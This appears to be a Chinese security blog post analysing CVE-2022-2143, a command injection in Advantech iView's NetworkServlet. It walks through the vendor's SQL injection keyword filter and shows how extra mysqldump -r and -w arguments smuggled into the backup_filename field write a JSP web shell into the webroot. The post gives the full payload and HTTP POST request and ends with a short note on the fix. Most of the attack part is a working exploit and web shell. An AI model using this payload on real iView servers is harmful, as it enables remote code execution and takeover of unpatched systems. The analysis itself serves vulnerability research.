CVE-2022-2143 Advantech iView NetworkServlet 命令注入RCE

VSole2022-08-24 16:54:30
  • 调用关系查询
MATCH (n:Class{NAME:'javax.servlet.http.HttpServlet'})-[:EXTEND]-(c:Class)-[:HAS]->(m:Method)-[:CALL*2]-(m1:Method{NAME:'exec',CLASS_NAME:'java.lang.Runtime'}) return *

分析com.imc.iview.network.NetworkServlet#doPost


两次校验

com.imc.iview.utils.CUtils#checkFileNameIncludePath(java.lang.String)

image.png

检验\webapps\防止写shell

com.imc.iview.utils.CUtils#checkSQLInjection检测了一些关键字。

public boolean checkSQLInjection(String model0) {    boolean result = false;    String model = model0.toLowerCase();    if (!model.contains(" or ") && !model.contains("'or ") && !model.contains("||") && !model.contains("==") && !model.contains("--")) {        if (model.contains("union") && model.contains("select")) {            if (this.checkCommentStr(model, "union", "select")) {                result = true;            }        } else if (model.contains("case") && model.contains("when")) {            if (this.checkCommentStr(model, "case", "when")) {                result = true;            }        } else if (model.contains("into") && model.contains("dumpfile")) {            if (this.checkCommentStr(model, "into", "dumpfile")) {                result = true;            }        } else if (model.contains("into") && model.contains("outfile")) {            if (this.checkCommentStr(model, "into", "outfile")) {                result = true;            }        } else if (model.contains(" where ") && model.contains("select ")) {            result = true;        } else if (model.contains("benchmark")) {            result = true;        } else if (model.contains("select") && model.contains("from")) {            if (this.checkCommentStr(model, "select", "from")) {                result = true;            }        } else if (model.contains("select/*")) {            result = true;        } else if (model.contains("delete") && model.contains("from")) {            if (this.checkCommentStr(model, "delete", "from")) {                result = true;            }        } else if (model.contains("drop") && model.contains("table") || model.contains("drop") && model.contains("database")) {            if (this.checkCommentStr(model, "drop", "table")) {                result = true;            }            if (this.checkCommentStr(model, "drop", "database")) {                result = true;            }        } else if (!model.contains("sleep(") && !model.contains(" rlike ") && !model.contains("rlike(") && !model.contains(" like ")) {            if (model.startsWith("'") && model.endsWith("#") && model.length() > 5) {                result = true;            } else if ((model.startsWith("9999'") || model.endsWith("#9999") || model.contains("#9999")) && model.length() > 10) {                result = true;            } else if (model.contains("getRuntime().exec") || model.contains("getruntime().exec") || model.contains("getRuntime()")) {                result = true;            }        } else {            result = true;        }    } else {        result = true;    }    if (result) {        System.out.println("Error: SQL Injection Vulnerability detected in [" + model0 + "]");    }    return result;}

那么mysqldump可以拼接-w参数将内容写入文件,然后可以多次传递-r参数覆盖原有的-r文件路径值

正常的命令为

"C:\Program Files (x86)\MySQL\MySQL Server 5.1\bin\mysqldump" -hlocalhost -u root -padmin --add-drop-database -B iview -r "c:\IMCTrapService\backup\aa"

命令注入构造payload

2.sql" -r "./webapps/iView3/test.jsp" -w "<%=new String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((new ProcessBuilder(request.getParameter(new java.lang.String(new byte[]{99,109,100}))).start()).getInputStream()))%>"
POST /iView3/NetworkServlet HTTP/1.1Host: 172.16.16.132:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 79
page_action_type=backupDatabase&backup_filename=2.sql"+-r+"./webapps/iView3/test.jsp"+-w+"<%25%3dnew+String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((new+ProcessBuilder(request.getParameter(new+java.lang.String(new+byte[]{99,109,100}))).start()).getInputStream()))%25>"

拼接之后为

"C:\Program Files (x86)\MySQL\MySQL Server 5.1\bin\mysqldump" -hlocalhost -u root -padmin --add-drop-database -B iview -r "c:\IMCTrapService\backup\2.sql" -r "./webapps/iView3/test.jsp" -w "<%=new String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((new ProcessBuilder(request.getParameter(new java.lang.String(new byte[]{99,109,100}))).start()).getInputStream()))%>"

image.png

有php日志getshell的那味了。

修复

image.png

判断session登录状态

本作品采用《CC 协议》,转载必须注明作者和本文链接
CVE-2022-2143 Advantech iView NetworkServlet 命令注入RCE
Advantech iView 多个不同类型匿名 RCE 漏洞分享
在一些开启了 Hyper-V 的电脑上,RouterOS 可能无法在 VMWare Workstation 中模拟运行或启动非常缓慢,如果遇到无法运行的情况,请酌情考虑关闭 Hyper-V,如果能成功运行但是启动缓慢,可以及时拍摄快照。
通用日志文件系统是一种通用的日志记录子系统,可供运行在内核模式和用户模式下的应用程序使用,用于构建高性能的事务日志,并在驱动程序CLFS.sys中进行实现。通用日志文件系统在基本日志文件中生成事务日志。三种类型的记录(控制记录、基本记录和截断记录((Control Record, Base Record, and Truncate Record))可以驻留在这些块中。Base Record包含符号表,这些符号表存储有关与基本日志文件关联的客户端上下文、容器上下文和安全上下文的信息。
前言最近注意到了Apache Commons Configuration 在2.7版本已经不安全了,能够直接影响该组件,来分析学一下漏洞原理漏洞分析前置Commons Configuration是一个java应用程序的配置管理类库。可以从properties或者xml文件中加载软件的配置信息,用来构建支撑软件运行的基础环境。在一些配置文件较多较的复杂的情况下,使用该配置工具比较可以简化配置文件的解析和管理。也提高了开发效率和软件的可维护性。同样可以使用这种变量插值影响范围2.4 ~ 2.7漏洞首先引入Commons-Configuration的依赖
iOS 0day漏洞影响老版本iPhone和iPad,苹果已发布安全补丁。漏洞产生的原因是苹果WebKit web浏览器浏览引擎的类型混淆引发的。实现远程代码执行后,攻击者可以在底层操作系统执行命令,部署恶意软件或监控恶意软件,并执行其他恶意活动。1月23日,苹果再次发布公告称发现该漏洞被利用的迹象。苹果公司建议受影响的用户尽快安装1月23日苹果发布的安全更新以拦截可能的攻击。
CVE-2022-23222:Linux 内核 eBPF 本地权限提升
CVE-2022-33891漏洞复现
2022-07-25 15:46:51
简介Spark 是用于大规模数据处理的统一分析引擎。它提供了 Scala、Java、Python 和 R 中的高级 API,以及支持用于数据分析的通用计算图的优化引擎。它还支持一组丰富的高级工具,包括用于 SQL 和 DataFrames 的 Spark SQL、用于 Pandas 工作负载的 Spark 上的 Pandas API、用于机器学习的 MLlib、
漏洞信息2022.07.20 Atlassian 官方通报了 Questions for Confluence 应用程序存在硬编码漏洞 CVE-2022-26138,当 Confluence 安装该应用程序后,会自动新增一个硬编码的管理员账号密码,
微软研究人员发现macOS App沙箱逃逸漏洞。 微软研究人员Jonathan Bar Or在检测macOS系统上微软office恶意宏时发现了macOS App沙箱逃逸漏洞,漏洞CVE编号为CVE-2022-26706。攻击者利用该漏洞可以构造代码来绕过APP沙箱,在系统上无限制的运行。
VSole
网络安全专家